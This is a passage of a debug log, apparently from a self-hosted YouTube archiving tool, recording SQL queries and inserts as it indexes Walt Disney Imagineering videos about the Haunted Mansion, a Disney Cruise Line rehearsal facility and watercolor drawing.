"https://www.youtube.com/watch?v=wkC-B7PNMCI", nil, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, 2, ~U[2025-10-27 00:00:00Z]] 18:55:05.680 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:05.680 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:05.681 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2423] 18:55:05.681 [debug] Current batch of media processed. Will check again in 1000ms 18:55:06.681 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", "id" => "CXLICqOYoh0", "original_url" => "https://www.youtube.com/watch?v=CXLICqOYoh0", "playlist_index" => 16, "title" => "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "upload_date" => "20251019"} 18:55:06.682 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:06.682 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:06.683 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 00:00:00Z], 2] 18:55:06.685 [debug] QUERY OK source="media_items" db=1.5ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "e6b7ebb0-ea8a-4898-9567-f003b5303902", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, false, 16, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, false, 2, [], 98, ~U[2025-10-19 00:00:00Z], ~U[2026-03-29 22:55:06Z], ~U[2026-03-29 22:55:06Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", nil, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, 2, ~U[2025-10-19 00:00:00Z]] 18:55:06.686 [debug] QUERY OK source="sources" db=0.2ms idle=146.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:06.686 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:06.686 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2270] 18:55:06.687 [debug] Current batch of media processed. Will check again in 1000ms 18:55:07.687 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", "id" => "bFK8MrHLe1Y", "original_url" => "https://www.youtube.com/watch?v=bFK8MrHLe1Y", "playlist_index" => 17, "title" => "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "upload_date" => "20251006"} 18:55:07.688 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:07.688 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:07.689 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 00:00:00Z], 2] 18:55:07.691 [debug] QUERY OK source="media_items" db=1.1ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "0a868aab-156d-4cc8-8745-df81fb4fe513", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, false, 17, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, false, 2, [], 98, ~U[2025-10-06 00:00:00Z], ~U[2026-03-29 22:55:07Z], ~U[2026-03-29 22:55:07Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", nil, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, 2, ~U[2025-10-06 00:00:00Z]] 18:55:07.691 [debug] QUERY OK source="sources" db=0.2ms idle=150.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:07.691 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:07.692 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2048] 18:55:07.692 [debug] Current batch of media processed. Will check again in 1000ms 18:55:08.693 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", "id" => "qtQIUvTH738", "original_url" => "https://www.youtube.com/watch?v=qtQIUvTH738", "playlist_index" => 18, "title" => "Drawing & Watercolor Painting with a Disney Imagineer", "upload_date" => "20250929"} 18:55:08.694 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:08.694 [debug] QUERY OK source="sources" db=0.1ms 